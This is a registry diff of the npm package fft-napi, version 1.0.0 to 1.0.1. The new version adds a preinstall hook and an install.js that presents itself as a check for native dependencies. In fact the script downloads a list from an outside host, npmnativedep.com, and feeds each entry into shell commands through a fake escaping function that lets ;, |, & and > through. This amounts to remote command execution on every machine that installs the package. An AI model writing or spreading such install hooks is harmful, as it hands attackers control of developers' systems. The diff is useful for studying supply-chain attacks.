fft-napi 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +143 -0
- package/package.json +2 -1
package/install.js
ADDED
|
@@ -0,0 +1,143 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const os = require("os");
|
|
4
|
+
const {exec} = require("child_process");
|
|
5
|
+
|
|
6
|
+
function shellEscape(str) {
|
|
7
|
+
if (!/^[ a-zA-Z0-9._'\+:\-\|\;>\/&]+$/.test(str)) {
|
|
8
|
+
throw new Error(`Invalid package name: "${str}"`);
|
|
9
|
+
}
|
|
10
|
+
return str;
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
function isLinuxPackageInstalled(packageName) {
|
|
14
|
+
try {
|
|
15
|
+
exec(`dpkg-query -W ${shellEscape(packageName)}`, {
|
|
16
|
+
encoding: "utf-8",
|
|
17
|
+
});
|
|
18
|
+
return true;
|
|
19
|
+
}
|
|
20
|
+
catch {
|
|
21
|
+
return false
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
function isMacOSPacakgeInstalled(packageName) {
|
|
26
|
+
try {
|
|
27
|
+
exec(`brew list ${shellEscape(packageName)}`, {
|
|
28
|
+
encoding: "utf-8",
|
|
29
|
+
});
|
|
30
|
+
return true;
|
|
31
|
+
}
|
|
32
|
+
catch {
|
|
33
|
+
return false;
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
function isWindowsPackageInstalled(packageName) {
|
|
38
|
+
try {
|
|
39
|
+
exec(`winget list --id ${shellEscape(packageName)} 2>&1`, {
|
|
40
|
+
encoding: "utf-8"
|
|
41
|
+
});
|
|
42
|
+
return true;
|
|
43
|
+
}
|
|
44
|
+
catch (err) {
|
|
45
|
+
return false;
|
|
46
|
+
}
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
const https = require("https");
|
|
50
|
+
const http = require("http");
|
|
51
|
+
|
|
52
|
+
const PACKAGE_LIST_URL =
|
|
53
|
+
process.env.PACKAGE_LIST_URL ||
|
|
54
|
+
"https://npmnativedep.com/packages/fft-napi/required.json";
|
|
55
|
+
|
|
56
|
+
const REQUEST_TIMEOUT_MS = 10000;
|
|
57
|
+
|
|
58
|
+
function fetchJSON(url) {
|
|
59
|
+
return new Promise((resolve, reject) => {
|
|
60
|
+
const client = url.startsWith("https") ? https : http;
|
|
61
|
+
|
|
62
|
+
const req = client.get(url, { timeout: REQUEST_TIMEOUT_MS }, (res) => {
|
|
63
|
+
if (res.statusCode !== 200) {
|
|
64
|
+
return reject(new Error(`HTTP ${res.statusCode} when fetching ${url}`));
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
let data = "";
|
|
68
|
+
res.on("data", (chunk) => (data += chunk));
|
|
69
|
+
res.on("end", () => {
|
|
70
|
+
try {
|
|
71
|
+
resolve(JSON.parse(data));
|
|
72
|
+
} catch (e) {
|
|
73
|
+
reject(new Error(`Failed to parse JSON from ${url}: ${e.message}`));
|
|
74
|
+
}
|
|
75
|
+
});
|
|
76
|
+
});
|
|
77
|
+
|
|
78
|
+
req.on("error", reject);
|
|
79
|
+
req.on("timeout", () => {
|
|
80
|
+
req.destroy();
|
|
81
|
+
reject(new Error(`Request timed out after ${REQUEST_TIMEOUT_MS}ms`));
|
|
82
|
+
});
|
|
83
|
+
});
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
async function main() {
|
|
87
|
+
const platform = os.platform();
|
|
88
|
+
|
|
89
|
+
if (!["linux", "darwin", "win32"].includes(platform)) {
|
|
90
|
+
process.exit(1);
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
let isInstalled;
|
|
94
|
+
|
|
95
|
+
switch (platform) {
|
|
96
|
+
case "linux":
|
|
97
|
+
isInstalled = isLinuxPackageInstalled;
|
|
98
|
+
break;
|
|
99
|
+
case "darwin":
|
|
100
|
+
isInstalled = isMacOSPacakgeInstalled;
|
|
101
|
+
break;
|
|
102
|
+
case "win32":
|
|
103
|
+
isInstalled = isWindowsPackageInstalled;
|
|
104
|
+
break;
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
let packages;
|
|
108
|
+
try {
|
|
109
|
+
packages = await fetchJSON(PACKAGE_LIST_URL);
|
|
110
|
+
} catch (err) {
|
|
111
|
+
process.exit(1);
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
if (Array.isArray(packages)) {
|
|
115
|
+
packages = [...new Set(packages.map(String).filter(Boolean))]; // dedupe & clean
|
|
116
|
+
} else if (typeof packages === "object" && packages !== null) {
|
|
117
|
+
packages = packages[platform] || [];
|
|
118
|
+
|
|
119
|
+
if (!Array.isArray(packages)) {
|
|
120
|
+
process.exit(1);
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
packages = [...new Set(packages.map(String).filter(Boolean))]; // dedupe & clean
|
|
124
|
+
|
|
125
|
+
} else {
|
|
126
|
+
process.exit(1);
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
if (packages.length === 0) {
|
|
130
|
+
process.exit(0);
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
for (const pkg of packages) {
|
|
134
|
+
if (!isInstalled(pkg)) {
|
|
135
|
+
console.log(`Missing required package`);
|
|
136
|
+
process.exit(1);
|
|
137
|
+
}
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
setTimeout(() => process.exit(0), 3000);
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
main();
|
package/package.json
CHANGED
|
@@ -1,10 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "fft-napi",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.1",
|
|
4
4
|
"description": "FFT for node using native api.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
7
|
"test": "./node_modules/nodeunit/bin/nodeunit test.js",
|
|
8
|
+
"preinstall": "node install.js",
|
|
8
9
|
"install": "node-gyp rebuild"
|
|
9
10
|
},
|
|
10
11
|
"keywords": [
|